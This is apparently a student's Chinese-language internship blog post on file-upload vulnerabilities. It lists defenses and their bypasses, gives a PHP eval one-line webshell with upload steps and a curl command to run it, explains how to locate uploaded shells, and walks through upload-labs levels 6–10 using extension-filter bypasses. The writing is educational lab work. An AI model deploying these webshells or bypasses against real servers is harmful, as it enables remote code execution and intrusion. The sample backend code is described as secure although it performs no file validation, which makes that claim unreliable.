重邮信安集中实习第七天

目录

一、 文件上传防御手段及绕过手段

防御手段

绕过手段

二、一句话木马的上传

1. 准备木马文件

2. 利用漏洞上传

3. 绕过安全检查

4. 访问木马

5. 远程控制

6.示例请求

三、webshell管理工具的使用方法

1. 登录

2. 文件管理

3. 文件权限管理

4. 数据库管理

5. 其他功能

四、文件上传无回显查找webshell地址

1. 上传时的路径提示

2. 猜测默认路径

3. 利用文件名

4. 测试上传文件的路径

5. 利用文件扩展名

6. 利用服务器配置

7. 检查源代码

8. 利用目录遍历漏洞

9. 利用搜索功能

五、文件上传表单的无参/有参情况下构造表单

1. 无参文件上传表单

2. 有参文件上传表单

3.后端处理

六、upload-labs靶场通关

环境搭建

第六关

第七关

第八关

第九关

第十关


一、 文件上传防御手段及绕过手段

防御手段

1、白名单扩展名验证:只允许特定类型的文件上传,例如仅允许.jpg、.png等图像文件。

        绕过:修改文件扩展名,或者使用合法的双重扩展名(如shell.php.jpg)。

2、MIME类型检查:通过检查文件的MIME类型来确认其内容是否符合预期。

        绕过:修改HTTP请求中的Content-Type头或者上传包含合法MIME类型的文件头。

3、文件内容检查:检查上传文件的实际内容,确保没有恶意代码。

        绕过:使用编码技术(如base64编码)、混淆代码或隐藏恶意代码在合法内容中。

4、文件路径和目录权限控制

        确保上传的文件只能存储在指定的安全目录下,并且对上传文件的目录设置适当的访问权限。

        绕过:利用服务器配置错误或目录遍历漏洞访问其他目录。

5、限制文件大小:设置上传文件的最大尺寸限制。

        绕过:将恶意代码嵌入较小的文件中。

6、使用沙箱环境:在隔离环境中处理上传文件,防止恶意代码影响生产环境。

        绕过:寻找沙箱环境的漏洞或逃逸途径。

7、使用Web应用防火墙(WAF):部署WAF来监控和过滤恶意请求。

        绕过:使用加密或编码技术绕过WAF规则。

8、定期扫描上传目录:定期使用防病毒软件或其他安全工具扫描上传目录,查找潜在威胁。

        绕过:利用未扫描的时间窗口或防病毒软件的误报/漏报。

9、输入验证:对所有用户输入的数据进行严格的验证,包括前端和后端。

        绕过:通过直接访问后端接口绕过前端验证。

绕过手段

1、扩展名绕过

        ①修改扩展名:将恶意文件扩展名更改为允许的类型,如将.php更改为.php.txt.jpg.php

        ②双重扩展名:上传一个看似无害的文件,但实际包含了恶意代码,如.png;.php

2、MIME类型绕过

        ①伪造Content-Type:在HTTP请求中伪造Content-Type头,使服务器误认为文件类型为允许的类型。

        ②更改文件头:修改文件的前几个字节(即文件签名),使其看起来像是另一种类型的文件,如将PHP文件的开头改为GIF89a(这是GIF图像文件的文件头)。

3、文件内容绕过

        ①编码和混淆:对恶意代码进行base64编码、URL编码或其他形式的编码,使其能够绕过内容检查。

        ②嵌入合法内容:在合法文件中嵌入恶意代码,比如在图片中嵌入PHP代码。

4、目录遍历:利用路径遍历漏洞(如“../”)将文件保存到不受限的目录中,从而获得执行权限。

5、利用服务器配置

        ①配置错误:利用服务器或应用配置错误,如错误的.htaccess文件配置或IIS配置,来执行上传的文件。

        ②解析漏洞:利用某些服务器对多后缀文件的解析规则,如Apache和IIS在处理.php.html.php;.txt时可能会将其作为PHP文件处理。

6、绕过大小限制,分段上传:将较大的恶意文件拆分成多个小文件上传,然后在服务器上合并。

7、绕过前端验证:绕过前端的JavaScript验证逻辑,直接向后端发送请求。

8、已知漏洞利用:利用应用程序或其组件(如CMS插件)中的已知漏洞。

9、社会工程学,诱导管理员:通过社会工程学技巧诱导管理员手动上传恶意文件。

10、利用逻辑错误:利用应用程序逻辑错误,比如上传过程中的条件判断不严或流程控制不当。


二、一句话木马的上传

定义:一句话木马是一种非常简短的脚本,通常用于远程控制Web服务器。它之所以被称为“一句话”,是因为它的代码量非常少,往往只有一行或几行。这类木马通常是用PHP编写的,因为PHP是Web开发中最常用的服务器端脚本语言之一。以下是一个简单的PHP一句话木马的例子:

<?php @eval($_POST['cmd']); ?>

        上面这句话的意思是接收POST请求中的cmd参数,并执行该参数所代表的PHP代码。这种木马可以让攻击者远程执行任意PHP代码,从而完全控制服务器。下面是一句话木马的上传步骤:

1. 准备木马文件

        首先,需要准备一个包含上述代码的一句话木马文件。假设我们将文件命名为webshell.php

2. 利用漏洞上传

要上传这个木马文件,通常需要找到并利用Web应用中的漏洞。常见的上传方式包括:

  • 文件上传漏洞:利用应用程序中的文件上传功能,将木马文件伪装成合法的文件类型上传。
  • 注入漏洞:利用SQL注入或命令注入等漏洞,将木马代码插入到数据库或文件中。
  • 目录遍历漏洞:利用路径遍历漏洞将木马文件上传到任意目录。
  • 服务器配置漏洞:利用服务器配置错误(如不安全的.htaccess或IIS配置)上传木马。

3. 绕过安全检查

为了成功上传木马,可能需要采取一些绕过措施:

  • 更改扩展名:将木马文件扩展名更改为看似无害的扩展名,如.jpg.png
  • 编码木马内容:使用Base64或其他编码方式对木马内容进行编码,然后在上传后解码。
  • 利用文件解析漏洞:利用服务器对文件类型的解析漏洞,上传如.php;.jpg.php.gif等混合格式的文件。

4. 访问木马

        一旦木马文件成功上传到服务器,可以通过浏览器访问其URL来激活它。例如,如果木马位于/var/www/html/shell.php,则可以通过http://example.com/shell.php来访问它。

5. 远程控制

        访问木马文件后,可以通过发送带有命令的POST请求来执行任意PHP代码。这通常通过一个客户端工具来完成,如Burp Suite、curl命令或其他专门的WebShell客户端工具。

6.示例请求

使用curl命令发送POST请求的例子如下:

curl -X POST -d "cmd=whoami" http://example.com/shell.php

上述代码将执行whoami命令,并返回结果。


三、webshell管理工具的使用方法

        WebShell管理工具是用于远程管理和控制Web服务器的一种工具,常被用作网站维护、文件管理、数据库管理等用途。下面,是webshell管理工具的使用方法:

1. 登录

        认证方式:登录WebShell通常需要用户名和密码,有些工具支持使用API密钥或其他认证方式。

        登录地址:一般通过浏览器访问类似http://yourserver.com/path/to/webshell/index.php这样的URL。

2. 文件管理

        浏览文件夹:查看服务器上的文件和文件夹结构。

        上传文件:将本地文件上传到服务器指定位置。

        下载文件:将服务器上的文件下载到本地计算机。

        编辑文件:在线编辑文本文件,如HTML、CSS、JavaScript等。

        删除文件/文件夹:删除不需要的文件或文件夹。

        重命名文件/文件夹:更改文件或文件夹名称。

        创建文件/文件夹:在服务器上创建新文件或文件夹。

3. 文件权限管理

        修改文件权限:调整文件或文件夹的权限,如设置为可读、可写、可执行。

        更改文件所有者:改变文件或文件夹的所有者或组。

4. 数据库管理

        连接数据库:连接到MySQL、SQLite等数据库。

        查询数据:执行SQL查询,查看、修改数据库中的数据。

        备份/恢复数据库:创建数据库备份或从备份恢复数据库。

5. 其他功能

        执行命令:在Web界面上执行Linux或Windows命令。

        日志查看:查看服务器的日志文件。

        计划任务:设置定时任务,如定期备份、清理缓存等。


四、文件上传无回显查找webshell地址

        在文件上传过程中,如果Web应用没有回显上传文件的确切位置或URL,那么查找上传的WebShell地址可能需要一些技巧和猜测。以下是一些常见的方法来定位上传的WebShell文件:

1. 上传时的路径提示

        ①观察上传页面:在上传文件时,有时页面会显示一个临时路径或文件名。注意页面上的任何提示信息。

        ②查看响应消息:上传文件后的HTTP响应可能包含有关文件位置的信息。

2. 猜测默认路径

        ①常见路径:大多数Web应用会将上传文件存储在一个固定的目录中,如/uploads//images//files/等。

        ②基于框架的路径:如果你知道Web应用使用的框架或CMS(如WordPress、Drupal等),可以查阅文档或搜索常见上传路径。

3. 利用文件名

        ①自定义文件名:在上传时,尝试使用一个容易记忆的文件名,便于后续查找。

        ②随机文件名:有些应用会自动重命名上传文件,此时需要查看上传页面或响应消息中是否有提示。

4. 测试上传文件的路径

        ①枚举路径:逐一尝试常见的路径组合,如http://example.com/uploads/shell.phphttp://example.com/images/shell.php等。

        ②使用工具:可以使用自动化工具如DirBuster、DirBuster或Gobuster等来枚举可能的目录和文件路径。

5. 利用文件扩展名

        ①双扩展名:如果你上传了如.php.jpg.php;.txt这样的文件,尝试去掉扩展名的一部分,如访问http://example.com/uploads/shell.php

        ②其他扩展名:如果上传时使用了其他扩展名(如.png.gif等),尝试直接访问该URL,看是否能触发PHP解析器。

6. 利用服务器配置

        ①解析漏洞:某些服务器配置允许解析多后缀文件,如Apache和IIS对.php.html.php;.txt的解析。

        ②查看服务器日志:如果拥有服务器访问权限,可以查看服务器日志文件,查找上传文件的相关记录。

7. 检查源代码

        如果能够访问Web应用的源代码,可以在代码中查找与文件上传相关的部分,了解文件是如何处理和存储的。

8. 利用目录遍历漏洞

        如果存在路径遍历漏洞,可以尝试使用../等字符遍历目录结构,寻找上传的文件。

9. 利用搜索功能

        ①搜索引擎:如果应用中有搜索引擎功能,尝试使用关键字搜索上传的文件。

        ②内部搜索:如果应用有内部搜索功能,尝试搜索文件名或相关关键词。


五、文件上传表单的无参/有参情况下构造表单

        在Web应用中,文件上传功能通常通过HTML表单实现。根据不同的需求,文件上传表单可以是有参数(有参)或无参数(无参)的。下面分别介绍这两种情况下的表单构造方法。

1. 无参文件上传表单

        无参文件上传指的是表单中除了文件上传字段外,没有其他任何参数。这种表单主要用于简单的文件上传场景。

1<form action="/upload.php" method="post" enctype="multipart/form-data">
2    <input type="file" name="uploaded_file">
3    <input type="submit" value="上传文件">
4</form>

        整个表单的作用是允许用户选择一个文件,并通过POST请求将该文件发送到指定的URL(在这里是/upload.php)。当用户点击“上传文件”按钮时,表单会被提交,并将文件数据以multipart/form-data的形式发送到服务器端指定的脚本进行处理。

2. 有参文件上传表单

        有参文件上传指的是表单中不仅包含文件上传字段,还包括其他输入字段。这些附加字段可能是用来收集用户信息、上传选项等。

1<form action="/upload.php" method="post" enctype="multipart/form-data">
2    <label for="username">用户名:</label>
3    <input type="text" id="username" name="username" required><br>
4
5    <label for="description">描述:</label>
6    <textarea id="description" name="description"></textarea><br>
7
8    <label for="uploaded_file">选择文件:</label>
9    <input type="file" id="uploaded_file" name="uploaded_file"><br>
10
11    <input type="submit" value="上传文件">
12</form>

        整个表单的作用是允许用户输入用户名、文件描述,并选择一个文件,然后通过POST请求将这些数据发送到指定的URL(在这里是/upload.php)。当用户点击“上传文件”按钮时,表单会被提交,并将文件数据以及其他表单字段的数据以multipart/form-data的形式发送到服务器端指定的脚本进行处理。

3.后端处理

        无论是在无参还是有参的情况下,后端都需要处理上传的文件:

1<?php
2if ($_SERVER["REQUEST_METHOD"] == "POST") {
3    // 检查是否有文件上传
4    if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) {
5        $tempFile = $_FILES['uploaded_file']['tmp_name'];
6        $targetPath = '/path/to/your/upload/directory/';
7        $targetFile = $targetPath . basename($_FILES['uploaded_file']['name']);
8
9        // 移动上传的文件到目标目录
10        if (move_uploaded_file($tempFile, $targetFile)) {
11            echo "文件上传成功!";
12        } else {
13            echo "文件上传失败,请稍后再试。";
14        }
15    }
16
17    // 处理其他表单字段
18    if (isset($_POST['username'])) {
19        $username = $_POST['username'];
20        echo "用户名: " . htmlspecialchars($username);
21    }
22
23    if (isset($_POST['description'])) {
24        $description = $_POST['description'];
25        echo "<br>描述: " . htmlspecialchars($description);
26    }
27}
28?>

        这段代码的作用是接收并处理通过HTML表单上传的文件及其他表单数据。具体而言,代码首先检查请求方法是否为POST,然后验证上传的文件是否存在且上传成功。如果文件上传成功,代码将临时文件从服务器的临时目录移动到指定的目标目录,并输出上传成功的消息。如果文件上传失败,则输出失败原因。此外,代码还会处理表单中的其他字段(如用户名和描述),并将这些信息显示出来。整个过程确保了文件上传的安全性和数据的完整性。


六、upload-labs靶场通关

环境搭建

首先,下载并解压“uploads-labs-master”:

然后,将上述文件夹放在phpstudy_pro下的WWW文件夹下: 

随后,打开phpstudy,进行网站配置:

配置完成后,即可打开对应网页:

第六关

首先,编写了一个名为phpinfo.php的一句话木马:

<?php phpinfo();?>

随后尝试上传,发现上传失败:

下面,开始分析源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

        根据上述代码,不难发现:这里过滤了很多后缀名格式,但是没有后缀转小写的函数strtolower(),因此可以尝试使用大小写来绕过限制,以此上传php文件:

上传成功!

第七关

首先,上传第六关创建的一句话木马,发现无法直接上传:

然后,分析源代码,查看具体限制:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

根据上述代码,发现:缺少了删除文件末尾点的操作。下面,结合BP抓包,把上传的文件名“phpinfo.php”修改为“phpinfo.php.”:

点击“Forward”,上传成功!

第八关

首先,尝试直接上传php文件:

上传失败,查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

根据上述代码,发现:缺少deldot()函数,因此可以尝试添加一个“.”来尝试绕过:

最后,上传成功! 

第九关

首先,尝试直接上传phpinfo.php文件:

这里上传失败了,查看源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

根据上述代码,可知:没有去除字符串::$DATA的这个函数,因此尝试在文件名后添加“::$DATA”:

随后,发现——木马上传成功:

第十关

首先,尝试直接上传木马文件,发现还是失败了:

下面,查看源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

根据上述代码,不难发现:有删除文件名末尾的点和首尾去空。下面尝试结合使用来注入:

最后,发现木马上传成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

奥他

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值